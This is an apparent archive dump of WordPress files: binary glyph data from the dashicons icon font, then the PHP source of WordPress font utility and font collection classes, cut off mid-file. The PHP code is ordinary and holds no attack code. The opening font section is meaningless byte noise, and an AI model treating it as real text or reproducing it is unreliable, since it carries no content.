"  =  k  k.   )"'&'7.'76767&327'267'#"'t+&T&+s9&?3 /1v3(#&@@&'R$$K$1 J ~,.- #'+/37;?3!!#53#53#53#53#53#53#53#53#53#53#53#53#53#53#53Mff33g44f3333g44f3333g44f3333g44f33ff3333M33333444443333333333333%.%54'&'&'&#'57'"32767"2>&  )+  !/2F>$' %4% 'O@ ,!MM!,  @{:N00P8''';676?4'&'&'7'"2>&R88/+''+))))$' %4% 'M$$M %>>%)):N00P8GK%&'&'#'7"776?54%267&'&72654'&'&'&'&"'7\\: ".))." %   % j g;;;6^\89HH6E !   '' ,!"3!26=4&#!"&=463!2f  f    !*3<EQZ^!"3!2654&"&462'"&462'"&462"&462'"&462'"&462"&=462'"&4627!5!      M   n!   f \W\W  Z  8WW +/37;?CGKOS3!3546235462#26=4&"26=4&"!7#5;#353#5;#353#5#53#53MfMf    ff3f44g33f44g3344f33@@@@z4444433333333333+/37;3!3546235462#26=4&"26=4&"5!75#35#35#MfM f     ff343g@@@@32#!"&546;73264&"K  j  KMf3*<"264&@  \).@"'8 %2$R$2%  B#! d"36&!%%%%#$  MO7767676'&'6>'&'&/67676&&'&&'&'&''&'3NFKM      $#   !+$ $,( '%("35 !     9     - -( 'H;A"+732#!"&5#"&46;2!#2"&4632"&46  3  M Lf     3g     !!3#3Mf4MM4&/8%>54&"&"'654&"2"&462"&462"&46 * j 6* L   3; '  M %####5#g3f3g3f 1!7&54626327&546327"&='#"' ~l % \ 1U ) R     52'3".4>1R0ʹ1RaS00S0R10S00SaR1-6:>BFJ76"/&4?627&76765.#&#"&4627'7'7'7'71# $~  S$  $B  ~ $2".4>2>4."7/18^77^p^77^8*F**FTF**FsM7^p^77^p^7*FTF**FTF*6R{{  654&#"&#"3!264&'77{<*1  &#,5$%5/R$.a$ *= % 2"$66F4Q$.b$!654&#"&#";5#7#3264&{<*1  &#,5$ZMssLY%5/ *= % 2"$6MssM6F44654&#"&#"3!264&}<*1 &#,5$%5-*=% 2"$66G3$IRx54&'>=46;5#"#2;5#"&&'&'6'.'&765&%"&46274654&+32+32654&4635"&      . .$'S d,    +<76?'5/.   , \./5 ,   \73#3#M͙%7'3]]]]55]]4]]733#MfMMf44 5!5557!'73gg3ggMM&3ML3M&3ML3 7''#37333=\\\{{3{{ 7553#5͚33]4]]{{{{37'#3ggMff&E37'#%#"'&67367654'&'.>##"'&>76764'&'.>33ggE       '       Mff #^#   #6'  (   *  8<!2#!&546!%47676763#!"&=27676762!!8  p     $ 4  ) g   g    3 (09BK7!>54."2"&462"&4632"&467"&4'2"&46!2"&464&"26`@7^p^7 [  V*g > ufB#8^77^8#B4u+7M 0CO264&"7533##5#5467#"".52>=7#".52>=#"'3.'.5f+<=7#".52>=#"'3.'.53264&"7##5#1R0W\1R00RbR00R.1R00RbR0!, \A[0R+<=#"".52>='3.'.53264&"7533'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+<=#"'3.'.5".52>=f+<=#"".52>='3.'.53264&"'7'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+< .?2>4."".52>='".52>='".52>=1R00RbR00R11R00RbR00R11R00RbR00R11R00RbR00RfM  MfM MgMM!$!2+32!546;5#"&5465!73Mf  3  3 X 4  4  紴f 2".4>'7''78^77^p^77^MM3MM3MM3MM7^p^77^p^7MM3MM3MM3MM35!353'35g34MM͚40&'.767676?>327&67626&  JA)   7* !@$7    @ 377/7676!"!$T  $ !!"!$+T  $ #!5#'.#3576&?f3d! g@q)3C!͚f @q) ?677'dE ͏=gE P 5#5!5#5!f33f33g33f33 5#5!5#5!3ff33f33g33f33 5#5!5#5!f33f33g33f3332654&'5>54&#532#32+t5=;C#')8+3-!&',)J'8*3!'733怀MgfM '77'7ffMfffff4ff47'7#7!75#35'!'3:: f `f` f :: f `` fS`` g 99 g `f` g 99 g$235#67654&"#35&'&'&54613*^%UT%] 3v751#33"'/DOPC/'!33 !157 3#3'735'75!#7'g8aga8";aga;3ffa9Gf9aG!_9ff9_ %.4."2>'#5467>4&#"'632&462"0RbR00RbR0(   !%%&1R00RbR00R   ! O "53753355#%53535335353Mff3ff3泳fM33M3ZY3333M44L33M33 5!5#35#35#5!MMfMMMffg444444ff #3#737#73z6H66H6f334 !!!!!!!!3ffff3334333 #'+/37;?!55!7#53#53#53#53#5!55!7#53#53#53#5#5!#53#54fM33433f4fM334̀33͚ffM4444444444ͳ33333333L444444!$#";2654622653264&7M 55  5?5  3   Mgf#S\`dh6235#767654'&/&""#6򥊢'&#"632632+32#"'"'26542735#35#35#35#)H,  1        '3! )       #Of ' (,RV5#?73#5#5767>4.">273#4&#">32+32#"&'32654&'5>3#! I ,    f!      !Mf  E3   2K   "5#5##553%5#5#5##5#5#ff3ff3泳fM3333ZY3333M44L33M33!#";2654622653264& 55  5@5  3   M$,!57264&"732#!"&546;!55#335=CD< '   '44L4MMM  3 <<44$1!57264&"4&+!57#"3!26'#'#'3737=CD<  ''  f M335134MMM3 <= ش'74'&'&&67'32674'&'&&67'326 -##;#)2%!+ -##;#)1& +F24;C/7'!F24;C/7'$"/&=4?62764/&"2n-9-7768677!$#";2654622653264&5M 55  5?5  3   Mf/7=EK27&"3275#"&463'#373732654&'5>54&#532##76732+7''  -"$! 9:;67  n,df $&)8+o @+  ( $  MNAGORZ%267#"'&'#+5##'##7#53733532367>2.#"3#%3/73>4&#1#3+3264  !7$:".- ! .   KK p k,1 @@++@@@@      U* D+  %!!5!#53#53#53#53fg4Mf3444333 %3#373'#7S0i4f0k R&M'} "&"&46273#"&46273#"&46273# 0@ 0@ 0M  3  3  3g#"'&=#27655#f3$63y%'#- ''-33!58;>'?64&"'6?>'3''7.6?27'#'7'' 6+' .= '99͚4f3ͽ#89+$<'!-͚4f399' *'. ?7 'Agf3<$+98#(-!gf3 #'+/37;?CGK##5#3533#5!#5#5#5!#5#5!#5#5!#5#5#5!#5#5!#5#5!#5MMMMf33334"&462%"264&#"264&**3*******-%54&#!"3!26'"/'"'&?'.7676g!hd p67p dh  `h_11_h`  7%>=4&'&7>7>4  {.z.Ks :  !2#!"=47>.'&cS000ڬ  ....ݎcc#)!"3!26=4&#"&463253'757'5fM* ff&&LL&&MMg+n&'&MM&'&'M!"3!26=4&'757'5fb&&LL&&M&'&MM&'&'M$-!"3!26=4&#53'757'5'5'7264&"fȳf&&LL&&M.4 ͙s&'&MM&'&'M@&.>-39!"3!26=4&'&76?'76?>'7&'757'5f ! !  M &&LL&&M " "   J0&'&MM&'&'M#!"3!26=4&'#537'757'5f33f&&LL&&M$1."g&'&MM&'&'M%)%4&#!"3!262"&46!!52"&46!!5 f    W4 W3  f 3#35#7'7'M33ffn$$n33f4n$$n3'5'7#57!3#3$h334fO$M33o73537#5476;5&#"#3K> H & *3??3I. A3-6I$!2+537#546;5&#"#3#"&546Jl h5=  %+55  >'8+'-> l #!2#!"&5465!735335353353  f MM  f MMfMM576762'./5M!!.T.!!! 337#7567'&'&'&3M#.1+#+51&3 $0C"#54&"#54&"26=>=4&3265""26=>'4&  - -%& @@ @@ T  T  ,2#(  (#2 !!!5!55#7#̙L44͙̀gf%6"&46325#"&4632546 4J55%3"%44%3 %55J4 3 ,4J5 &#"5#"&=46;232+'#"&=46#M33Mf$/MMfLL&BK32#!"&=#"&5463!2!!4&"2667676763#52767632#+2  2  K   3      2 K  @ c ͚      >!2#!"&546!4&"2647676763#!"&=2176767632:t**M       tgf+k "  3    )74'&'&&67'32674'&'&&67'326 5)*+#& ;+'2 5)),"& :+'2!%R:"&-2lA-'!%R:"&-2lA- '092"'&476264&"3264&"3264&"2"&462"&46}90099009     = 0))00))0        3  !2%46373#37#37#3!73 4q43M333M f MMMMMMMgf #&),/3#7357#53%'7'35#!#53#57#7'533&M̀&''@'M3&'M''Z&@&Mͳ@&@'MM'& '''g'&&'M@& #77'77535''3'7.E'H.H'E.s'E+.E..H̀.H'E..E'E+'E..HE+.E 357''375#!#77'W$H..H$H.H$H.f.H$H$H..$H$H.H$H..H$H+4=.+"76767627>'&##5#53533"&4627"&462 (( '&   1 s+85W      W58.& *   #3'.'&>727.#"32>5'&pA(2E9",#;H&7^88^7:Z1&L(1E2";$87_n_73[:!2#!"&5465#!5#5#!5#3  f f3f f   ̙͙ !-;J2>."2>."2>."76&"26'"&/&63272"'76'&'6 " "n     1j2 '  " *- -* " **#)$$$$n/88/n &6a ](//(] `7&'7&'"/&47%&'6$Y$v;Vi?^$W$!x%  " #5#3533@@@@M%6767>'&".#&=1,%:11:%3,1J+)1/U..V_)+&<@&"&#764&'677&6762&'+6267>7.26 >**I{",+ E"1/Im    !i< ?q$  rf*<>J? (+ H !.BK8  ;  39;3 f<)%#&'&'67673264&#!";#"3!264& 0.   0.   f6 ''!56 ''!5 #)/575##5335335#53#353373#5##'#3#533'77'7f333$_!3#&L3;;YY.;;YYf4433ggWWP@@Pf:;ZY;:YZ #<@DHL%!!>?6.#"275#5#'"276?54.#5#5#5!5!f  рW#  MMMM43     C3/  4L48<@D%!!>?6.#"25#'"276?54.#5#5#5!f   #  瀀f4t      ff  533%##5#5#535337'#35fMffMMMfgfMffMffLMgf4&"26>.>.f4.#"5>@529925@4.".4>244  ?j==j~j==j?1R00RbR00Rff=j~j==j~j=g0RbR00RbR0 2".4>4&"265#8^77^p^77^R47^p^77^p^7g ܚ %)73535#5##32>4."2".4>!5!4334331R00RbR00R1#;"";F;"";f333330RcR00RcR04";G:"":G;"3 %)##33535#'"2>4.".4>2!54334331R00RbR00R1#;"";F;"";f3333330RcR00RcR0";G:"":G;"33 %"2>4.".4>2##33535#?j==j~j==j?1R00RbR00R4LL4LL=j~j==j~j=g0RbR00RbR0L4LL4G_4&"267"&4627"&462'"#"#;276767676=4'.'&'&#+"'.=4676;2E(:((:($=X==X= %" #%%#  #%!"63%*.3%((:((,==X==B 1  "% %"  #$%#T3%!!--!!- !2#!"&546!!'#5!3!26Mf  Y4Mf4     3ͳf  3#3#73#3#!!3ggfgg?7M4gge 22+"&=4&/&'&54>53++"&5#"&'B'   f   'B&  3  &B'    'B&j   "73#7"264&5#3547>354'&'&@MM&'LL*M!<3~&&+1 %)26?C7!2654&#!"2"&46!!52"&46!!52"&46!!52"&46!!53  f = W4 W4 W4 W   f 33f33g33f33 %7>54&"72"&467'57M&5% 2>4."8^77^p^77^8#;"";F;"";7^p^77^p^7";F;"";F;"  %.!3'7'7'726'&/72"&463gMMf...M...M...' 3  ggM 3  4  3 f  =   '!3'54&#&+"276=7&3263gMMm M  ggM WU;  !'7'37'3g̀33MMfMM33g34MLLM43!3'3gMMggM  #'!353'355!355#'355!5#3gMMfffgMM3MMMML4#!3'5#3373/"&4627#5#53gMM3LM vMMggM癙4444L444M  $(,048<@!5#5#35#35#5#35#35#5#35#35#5#35#35#5#35#3g̴MM4MfM4MfM4MfM4MfM4ggMM33334 !353'355!5!5!5#3gMMfgMM3M333!3'54&+";2653gMM M  M L3ggML  L 3(;O#"++"&7'#'&'.76?>76#67654'&'.'6&'&'&7>9M  ,&:  !!  !  h2! 9 #343   *(n   7!5!!5!!5Mfff4444 7!5!5!5!5!3334 5!5!5!MMMMMM 7!5!5!5!5!Mfff3334 /54&"26732+"&46;5.54622654623**gI73   36J4&'&'"2>4.".4>2        &7_77_n_77_70Q00Q`Q00Q   $$   "' 7_n_77_n_70Q`Q00Q`Q0&;IR!#4&#"&#"!72>?6.#"54.#'"26?2"'654&'>462"&1"(    p ! e))9 #x%%"1      ):)Y%5#3'35#'735#7#35ffLffLffffLffLffLffffLffLffffL26?HP54&+";26'2"&4654&++"&=#"3!26'!54&"2674&"2627"&3 4  4 3 MDM4  M  &~&:N:M  M X4  U%32+"&=46;5#32+"&=46;5#32+"&=46;546;5#"&=46;2+32  f    f    f    f   L  L 33 L  L 33 L  L 33 L  L 3 ''7'77[[$[Z%[[%Z[[[[$[[%ZZ%[[ ''7'776[7Z[6[[6[[6Z7[[6[[6[[7'#7! 3'3M3f4<E267632&"632.#"#476767&#"67632&'&#">4&"26   *g!25!*/,/RD#(, #L   $1+& )A F@ZC=6)%25' # >&/.6?>"&4?64&"6?64&''&'&67676?@~0 ~~~  0,  1BBBB ?~0  @, ",2:7#3264&#!+#532+5327#3##535!533#3264&M.i$$_3&&Mf  3fffff4 *3<E7!654."7462"&462"&67671"&4462"&7462"&7462"&`@-7^p^7tN&%%'- }M8H7^88^7H ) L (LN  -   -9J27654'&#"#27654'&#"7"327654&4&#"3267"32623254.1  P   "#R9&&42+&9)'P55-A!!A- -8'&6?6767'&'776?67676''&76?>5  M  gq  :`  /p A   M f N  q.  BY  q)  A   M  ="6?4'&67632#&=674&1676?32>4.6(&' !37#    '>"+IE(5 P!,+" 0"{'2,$ *FSC& )-15!5!5#%&#"26757&#"26=4&5#5#( * gg33f33g443u)Y)33f33 "&5!5!5#732+"&=467'5#5#gg  XUUggg33f33g444  43M33f33"676.5&'&'&7676.76&%2?3276?'\O.O y=:6EN/A O.O   a }O.Ou`02 >EN3F O/R# b    .>535#5##3)QllQQllFggLgg(llQQllQgLggLg ##5#53534444 ##5#5353MMMMM;%'&4632>54&"264.264/.>676&Ri   .B.i#"YXD"ii0BA! i   /.Ci !CZY!iiBA0 \% 4}7C#"767>;'&+"#76;2#!26?6&+54&+"#"%#7676;2fR ( T tf7  + R aq ,=p:  di < #  % $ g15.5462264&"f+! !+264&"3276?z"11" ."!!0!R S 0E1%'"/"" S S #'+/%#3#3'#37#5!#";!5326=4&#535#53#533MMM33  33 Y4MMgg  fM  8"3'656&'"35.'>75+"&=46;5>232  ! EbOObM  (6(    $$ n '' UMMTTM  g '&&' $+3!354>32632!35471"54'354f";##;"3 -- M433#;" ";#33*#-S3 -#*3l"33" 5##537353'#5#'735gfM3M3gffL33338.3L38.33-6FO%4&"264&#"'#""&"32>=>462"&'"'&762776'"&462<<C GB6 & 0RbR0 (%*#!" 'a  n'% ":"":"  G,355#";#".4>̀*==**F**FMgfM4.".4>2'35?j==j~j==j?1R00RbR00R=j~j==j~j=g0RbR00RbR0445%"#4'723264&">54&"3267332656&'l %%5&#,A,<*. x(.-&5%% l' ,, 'x/+<- , !%34'&'&#234.#2264&"~O87\`oZMK,-OI}I'E7 - 3m^\57M,,ILYH{GM6E%, ,y'7H$lxH$k !!537535353!533533fg3f3gfgggff333MggMM 5#!5#5#!5#f4f͙ ).'&/&'&'.>64&"27#     ([!6HI 5J44J$c)    % !IH6K44K4$-R&'.'&#537>764&"26&>7>75673#'.     vD  "''" U&4&&4&     vD  !''! l    L{&&4&&R    L 5>75!57!3#̀:$0%[S3F+N3fL ,ENN3) '"%2"&547'"&4627&5462"'6s --@-pB--Ap-@--Aqq-@-- ;-@-; --@-;  ;!3'&'&'&'&'&'&'&52767$#.!6  @@   ~\C+  !%).3 !83'&'&'&'&'&'&'&5276737676765'&'&'#$#.!6  @@ #'(   ~\C+  !%).3  # #$  7#535#33#3#344gg6^6R44g4f444g 75!%53735;#'5#5#34433MgM3332+"&546#73  ff  f {,2'&#"1&54632'&#"1&546267'"&'  7Gu"bxb"u{    SD 8FF8 DSM!3!'LM #*14."2>%'>&'7"&4627.'677^p^77^p^7& `1 ` &1*` &1& `18^77^p^77^` &1P& `1**& `1?` &1 0B"2>4.'."'46767"#3'.&'&76'&'&.6767_77_n_77_( )^, 2g/ .j5  :y40HC3 ;IS6 7_n_77_n_7    /   5! 7'7/'7'7MiiM=4&WXAB' &BB  BB& ' D276527652765276='!35335&'&'&5"&'&5"&'&5....MfMf //                 !7'7'?M͡,,$11$Md1$+.!73%#?'73>'5'3J@d&H>(25S,.,MMNAv.$Mg9M  %535#5##3!#3#3#3!!h^^,__ H'].]].]5b!b!bh  #33535#5!!!#3#3#3^^,__ '].]].]5hb!b!b  #/75'7'!%#5'#5'#3753753''7'77!! PT'SP(PR'RP !! F!5B..h<;;+PS'SQ'PR(RP  %#5##3353!#37#37#3!!bJ$JJ$J 5JJ"JJ5bbbbb  33535#5##!%35#35#!!#3J$JJ$J 5˄[JJ"JJ5Bbbbb  #%'7''7!'#'35#735!3#3#!PQ'RP'RT'TP` !-. 5 !PR'RQ&RT'TQ~5!b!bb!b!b!2#!"&546!3f4  $  f 4 3'%264&"L+ͳf++  #'!5!#5#5!!5#5!#5#5!#53#53#5̳fg3fffffMMMMf3333M!2+5#"&=46!!!!#3f4/4M334 !#537#535#535#53Mf34333 !5!5!#5#5!#5!5fgf33f3333g3333f33"7"'1.?64&+"&5471676;#%#53  M 36N 333 F   t  !21;2+53>7>3#F  M 6N33 FVT  t  "4Q_5&%7>&'776&/&326'/.?>323!52645;26=546;+"&&~'# #  ##  fI     ]I''HH('I` F ` F FaF` ML*N f  -f H1 <BJQiy1&%7>&'76.6'#&176/&726/>67.76?'"'&'3!52645265'3'72&#647.77?7#"&~'%OM%OM3"   ' .`  q6 %* U5fm7&'3' I=+Hs4sRQ  #/0 # ?6M E3ffK277#     $132!546;>23."!+"&'3M  M%.%bMk    X   337375#5#5!#3'#3ER..K#@g8O.@$$g$$C));33Cddd%#"=3264&+54&"3265.d!!!-: ! M-66 !!0#"'327.'327.=.47&54632676 :@RNB A30  !* #e:7'$   @<@%**($4"  )2,4 '7"#5532+32>4.3*==**F**FMgfM'2"&46476?'&'1'&7671'&'&>i~i>>i~i> ,2,,2,"  %  "?i>>i~i>>i  y 7>'8D"#$(#j54 /2"&46476?'&'1'&7671'&'& ,2,,2,"  %  "  y 7>'8D"#$(#j54 +54&"#46232#!"&=463'>54&"3*3327.#"#?3#"&'32>73>(.+F(,L25YZZ; <(.+F(,L25&33(F+gg3g'21 (F+#23'3.#"'>".'#7#3267-L26ZZ< >(0+F,M26ZZ< >(0+F(G+ff'22 (G+ff'22 75#7#5#!5#MM4444͚+4A%4&#!"3!26'!!!2#3#3#!"&5464&"26'"&5467  f f    7'&'62"&4"&'672>=4&')EG:+")@>:)  ;i!/I/90 I/!i :9*!6 : (  @ 92B'1/$B29 2".4>7#64&"28^77^p^77^U L 8 $#7^p^77^p^7V  5#5##!5357##5#53533M433MM3333333!2+5#"&=46'7''73M@@@@@@@@@@@@@@@@ '#'%%"264&7&#".#"67 3 &   1QQ1 L$gg  9&.0''0.&#+%4&#!"3!26'2"&'>4&"263!5353  f +O OVO O^**3MM̚  ($%((%$(L+ (,09=AJN%4&#!"3!26!!7353353352"&46;#73#'2"&46;#7352"&46;#   MMMM ,ff ,ffM ,fffM  >gM333333  M  333   !!7627'$n.$$n.%6@.7327>&#'&'&'&'476;2767>am_2L45<2/1S ?*  ) n/1:am/Mam >' !   AMSY4."2>'7>&##'>32&1'2?>&#"'1&305676'.547#"'EvvEEuvEWe;,P   N &!=4:FB"#EvEEvuEEvD /8   '7W '2;?jpC2*  MW]c4."2>2".4>'726&#+>32&1'2?26&#"/"3?676'%.54#"'EuuEEuuE?i>>i~i>>i N Z5'H   EpC7a3?; FuEEuuEEu,>i~i>>i~i> *2  #1N ,n_d<.O %&+"3;2?6'&+";26/;)@: @: @AT ;Rq En p rs "2>4.#'778^77^p^77^H"S"B"7^p^77^p^7t >#'7|""S"Bt =&'&'&"7276765455-$QP 5-$QPx =v=9?;M     " - +6 a t      V &6dashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comdashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comT      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUadmin-appearanceadmin-collapseadmin-commentsadmin-customizer admin-generic admin-home admin-links admin-mediaadmin-multisite admin-network admin-page admin-plugins admin-postadmin-settingsadmin-site-altadmin-site-alt2admin-site-alt3 admin-site admin-tools admin-usersairplanealbum align-centeralign-full-width align-left align-nonealign-pull-leftalign-pull-right align-right align-wideamazon analyticsarchivearrow-down-altarrow-down-alt2 arrow-downarrow-left-altarrow-left-alt2 arrow-leftarrow-right-altarrow-right-alt2 arrow-right arrow-up-alt arrow-up-alt2arrow-up-duplicatearrow-upartawardsbackupbankbeerbell block-defaultbook-altbookbuddicons-activitybuddicons-bbpress-logobuddicons-buddypress-logobuddicons-communitybuddicons-forumsbuddicons-friendsbuddicons-groups buddicons-pmbuddicons-repliesbuddicons-topicsbuddicons-trackingbuilding businessmanbusinessperson businesswomanbutton calculator calendar-altcalendar camera-altcameracarcarrotcartcategory chart-area chart-bar chart-line chart-pie clipboardclock cloud-saved cloud-uploadcloudcode-standardscoffee color-pickercolumns controls-backcontrols-forwardcontrols-pause controls-playcontrols-repeatcontrols-skipbackcontrols-skipforwardcontrols-volumeoffcontrols-volumeon cover-image dashboard database-adddatabase-exportdatabase-importdatabase-remove database-viewdatabasedesktopdismissdownload drumstick edit-large edit-pageediteditor-aligncentereditor-alignlefteditor-alignright editor-bold editor-breakeditor-code-duplicateeditor-contracteditor-customchar editor-expand editor-help editor-indenteditor-insertmore editor-italiceditor-justifyeditor-kitchensink editor-ltr editor-ol-rtl editor-oleditor-outdenteditor-paragrapheditor-paste-texteditor-paste-word editor-quoteeditor-removeformatting editor-rtleditor-spellcheckeditor-strikethrough editor-tableeditor-textcolor editor-uleditor-underline editor-unlink editor-videoellipsis email-alt email-alt2email embed-audio embed-generic embed-photo embed-post embed-video excerpt-viewexitexternal facebook-altfacebookfeedbackfilterflagfood format-aside format-audio format-chatformat-gallery format-image format-quote format-status format-videoformsfullscreen-altfullscreen-exit-altgamesgoogle grid-viewgroupshammerheadinghearthidden hourglasshtmlid-altid image-crop image-filterimage-flip-horizontalimage-flip-verticalimage-rotate-leftimage-rotate-right image-rotate images-alt images-alt2 index-card info-outlineinfo insert-after insert-beforeinsert instagramlaptoplayout leftright lightbulblinkedin list-view location-altlocationlock-duplicatemarker media-archive media-audio media-code media-defaultmedia-documentmedia-interactivemedia-spreadsheet media-text media-video megaphonemenu-alt menu-alt2 menu-alt3menu microphonemigrateminus money-altmoneymovenametag networkingno-altno open-folderpalmtree paperclippdf performancepetsphone pinterestplaylist-audioplaylist-videoplugins-checkedplus-alt plus-alt2pluspodio portfolio post-status pressthisprinterprivacyproducts randomizeredditredoremoverest-apirsssavedschedule screenoptionssearch share-alt share-alt2share shield-altshield shortcodeslides smartphonesmileysortsosspotify star-empty star-filled star-halfstickystore superhero-alt superherotable-col-aftertable-col-beforetable-col-deletetable-row-aftertable-row-beforetable-row-deletetablettagtagcloud testimonial text-pagetext thumbs-down thumbs-up tickets-altticketstide translationtrashtwitch twitter-alttwitterundouniversal-access-altuniversal-accessunlock update-altupdateuploadvault video-alt video-alt2 video-alt3 visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsapp wordpress-alt wordpressxingyes-altyesyoutubefonts/class-wp-font-utils.php000064400000021270147177035020012251 0ustar00 '', 'fontStyle' => 'normal', 'fontWeight' => '400', 'fontStretch' => '100%', 'unicodeRange' => 'U+0-10FFFF', ); $settings = wp_parse_args( $settings, $defaults ); if ( function_exists( 'mb_strtolower' ) ) { $font_family = mb_strtolower( $settings['fontFamily'] ); } else { $font_family = strtolower( $settings['fontFamily'] ); } $font_style = strtolower( $settings['fontStyle'] ); $font_weight = strtolower( $settings['fontWeight'] ); $font_stretch = strtolower( $settings['fontStretch'] ); $unicode_range = strtoupper( $settings['unicodeRange'] ); // Convert weight keywords to numeric strings. $font_weight = str_replace( array( 'normal', 'bold' ), array( '400', '700' ), $font_weight ); // Convert stretch keywords to numeric strings. $font_stretch_map = array( 'ultra-condensed' => '50%', 'extra-condensed' => '62.5%', 'condensed' => '75%', 'semi-condensed' => '87.5%', 'normal' => '100%', 'semi-expanded' => '112.5%', 'expanded' => '125%', 'extra-expanded' => '150%', 'ultra-expanded' => '200%', ); $font_stretch = str_replace( array_keys( $font_stretch_map ), array_values( $font_stretch_map ), $font_stretch ); $slug_elements = array( $font_family, $font_style, $font_weight, $font_stretch, $unicode_range ); $slug_elements = array_map( function ( $elem ) { // Remove quotes to normalize font-family names, and ';' to use as a separator. $elem = trim( str_replace( array( '"', "'", ';' ), '', $elem ) ); // Normalize comma separated lists by removing whitespace in between items, // but keep whitespace within items (e.g. "Open Sans" and "OpenSans" are different fonts). // CSS spec for whitespace includes: U+000A LINE FEED, U+0009 CHARACTER TABULATION, or U+0020 SPACE, // which by default are all matched by \s in PHP. return preg_replace( '/,\s+/', ',', $elem ); }, $slug_elements ); return sanitize_text_field( implode( ';', $slug_elements ) ); } /** * Sanitizes a tree of data using a schema. * * The schema structure should mirror the data tree. Each value provided in the * schema should be a callable that will be applied to sanitize the corresponding * value in the data tree. Keys that are in the data tree, but not present in the * schema, will be removed in the sanitized data. Nested arrays are traversed recursively. * * @since 6.5.0 * * @access private * * @param array $tree The data to sanitize. * @param array $schema The schema used for sanitization. * @return array The sanitized data. */ public static function sanitize_from_schema( $tree, $schema ) { if ( ! is_array( $tree ) || ! is_array( $schema ) ) { return array(); } foreach ( $tree as $key => $value ) { // Remove keys not in the schema or with null/empty values. if ( ! array_key_exists( $key, $schema ) ) { unset( $tree[ $key ] ); continue; } $is_value_array = is_array( $value ); $is_schema_array = is_array( $schema[ $key ] ) && ! is_callable( $schema[ $key ] ); if ( $is_value_array && $is_schema_array ) { if ( wp_is_numeric_array( $value ) ) { // If indexed, process each item in the array. foreach ( $value as $item_key => $item_value ) { $tree[ $key ][ $item_key ] = isset( $schema[ $key ][0] ) && is_array( $schema[ $key ][0] ) ? self::sanitize_from_schema( $item_value, $schema[ $key ][0] ) : self::apply_sanitizer( $item_value, $schema[ $key ][0] ); } } else { // If it is an associative or indexed array, process as a single object. $tree[ $key ] = self::sanitize_from_schema( $value, $schema[ $key ] ); } } elseif ( ! $is_value_array && $is_schema_array ) { // If the value is not an array but the schema is, remove the key. unset( $tree[ $key ] ); } elseif ( ! $is_schema_array ) { // If the schema is not an array, apply the sanitizer to the value. $tree[ $key ] = self::apply_sanitizer( $value, $schema[ $key ] ); } // Remove keys with null/empty values. if ( empty( $tree[ $key ] ) ) { unset( $tree[ $key ] ); } } return $tree; } /** * Applies a sanitizer function to a value. * * @since 6.5.0 * * @param mixed $value The value to sanitize. * @param callable $sanitizer The sanitizer function to apply. * @return mixed The sanitized value. */ private static function apply_sanitizer( $value, $sanitizer ) { if ( null === $sanitizer ) { return $value; } return call_user_func( $sanitizer, $value ); } /** * Returns the expected mime-type values for font files, depending on PHP version. * * This is needed because font mime types vary by PHP version, so checking the PHP version * is necessary until a list of valid mime-types for each file extension can be provided to * the 'upload_mimes' filter. * * @since 6.5.0 * * @access private * * @return string[] A collection of mime types keyed by file extension. */ public static function get_allowed_font_mime_types() { $php_7_ttf_mime_type = PHP_VERSION_ID >= 70300 ? 'application/font-sfnt' : 'application/x-font-ttf'; return array( 'otf' => 'application/vnd.ms-opentype', 'ttf' => PHP_VERSION_ID >= 70400 ? 'font/sfnt' : $php_7_ttf_mime_type, 'woff' => PHP_VERSION_ID >= 80112 ? 'font/woff' : 'application/font-woff', 'woff2' => PHP_VERSION_ID >= 80112 ? 'font/woff2' : 'application/font-woff2', ); } } fonts/class-wp-font-collection.php000064400000021274147177035020013250 0ustar00slug = sanitize_title( $slug ); if ( $this->slug !== $slug ) { _doing_it_wrong( __METHOD__, /* translators: %s: Font collection slug. */ sprintf( __( 'Font collection slug "%s" is not valid. Slugs must use only alphanumeric characters, dashes, and underscores.' ), $slug ), '6.5.0' ); } $required_properties = array( 'name', 'font_families' ); if ( isset( $args['font_families'] ) && is_string( $args['font_families'] ) ) { // JSON data is lazy loaded by ::get_data(). $this->src = $args['font_families']; unset( $args['font_families'] ); $required_properties = array( 'name' ); } $this->data = $this->sanitize_and_validate_data( $args, $required_properties ); } /** * Retrieves the font collection data. * * @since 6.5.0 * * @return array|WP_Error An array containing the font collection data, or a WP_Error on failure. */ public function get_data() { if ( is_wp_error( $this->data ) ) { return $this->data; } // If the collection uses JSON data, load it and cache the data/error. if ( isset( $this->src ) ) { $this->data = $this->load_from_json( $this->src ); } if ( is_wp_error( $this->data ) ) { return $this->data; } // Set defaults for optional properties. $defaults = array( 'description' => '', 'categories' => array(), ); return wp_parse_args( $this->data, $defaults ); } /** * Loads font collection data from a JSON file or URL. * * @since 6.5.0 * * @param string $file_or_url File path or URL to a JSON file containing the font collection data. * @return array|WP_Error An array containing the font collection data on success, * else an instance of WP_Error on failure. */ private function load_from_json( $file_or_url ) { $url = wp_http_validate_url( $file_or_url ); $file = file_exists( $file_or_url ) ? wp_normalize_path( realpath( $file_or_url ) ) : false; if ( ! $url && ! $file ) { // translators: %s: File path or URL to font collection JSON file. $message = __( 'Font collection JSON file is invalid or does not exist.' ); _doing_it_wrong( __METHOD__, $message, '6.5.0' ); return new WP_Error( 'font_collection_json_missing', $message ); } $data = $url ? $this->load_from_url( $url ) : $this->load_from_file( $file ); if ( is_wp_error( $data ) ) { return $data; } $data = array( 'name' => $this->data['name'], 'font_families' => $data['font_families'], ); if ( isset( $this->data['description'] ) ) { $data['description'] = $this->data['description']; } if ( isset( $this->data['categories'] ) ) { $data['categories'] = $this->data['categories']; } return $data; } /** * Loads the font collection data from a JSON file path. * * @since 6.5.0 * * @param string $file File path to a JSON file containing the font collection data. * @return array|WP_Error An array containing the font collection data on success, * else an instance of WP_Error on failure. */ private function load_from_file( $file ) { $data = wp_json_file_decode( $file, array( 'associative' => true ) ); if ( empty( $data ) ) { return new WP_Error( 'font_collection_decode_error', __( 'Error decoding the font collection JSON file contents.' ) ); } return $this->sanitize_and_validate_data( $data, array( 'font_families' ) ); } /** * Loads the font collection data from a JSON file URL. * * @since 6.5.0 